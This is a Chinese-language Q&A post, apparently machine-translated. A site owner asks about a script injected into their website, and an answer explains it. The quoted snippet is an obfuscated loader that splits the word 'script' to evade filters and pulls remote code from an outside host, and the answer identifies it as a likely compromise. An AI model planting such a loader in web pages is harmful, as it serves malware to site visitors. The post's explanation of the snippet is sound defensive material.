请解释此代码的含义:
<script type="text/javascript" language="javascript">
document.write('<scri' + 'pt type="text/javas' + 'cript" language="javas' + 'cript" src="' + top.location.protocol + '//c.sitehelp.inkiev.net/code.cgi?c=4067' + (top.location.protocol=='http:' ? '' : '&ssl=1') + '&rnd=' + Math.random() + '"></sc' + 'ript>');
</script>
哦,这么多的弊端。我尝试简化表达式,阅读document.write()并变得清晰。为什么有人将其添加到我的网站?
<script
type="text/javascript"
language="javascript"
src="'http://c.sitehelp.inkiev.net/code.cgi?c=4067&rnd=' + Math.random() + '">
</script>
答案 0 :(得分:1)
您的网站可能遭到入侵,有人注入了javascript代码。知识渊博的人应该使网站脱机,清理,通过更新它使用的任何服务(例如wordpress)修补任何漏洞,然后将其重新联机。 代码尝试通过拆分字符串来避免关键字黑名单。它从它生成的url中检索一个可能是恶意的脚本。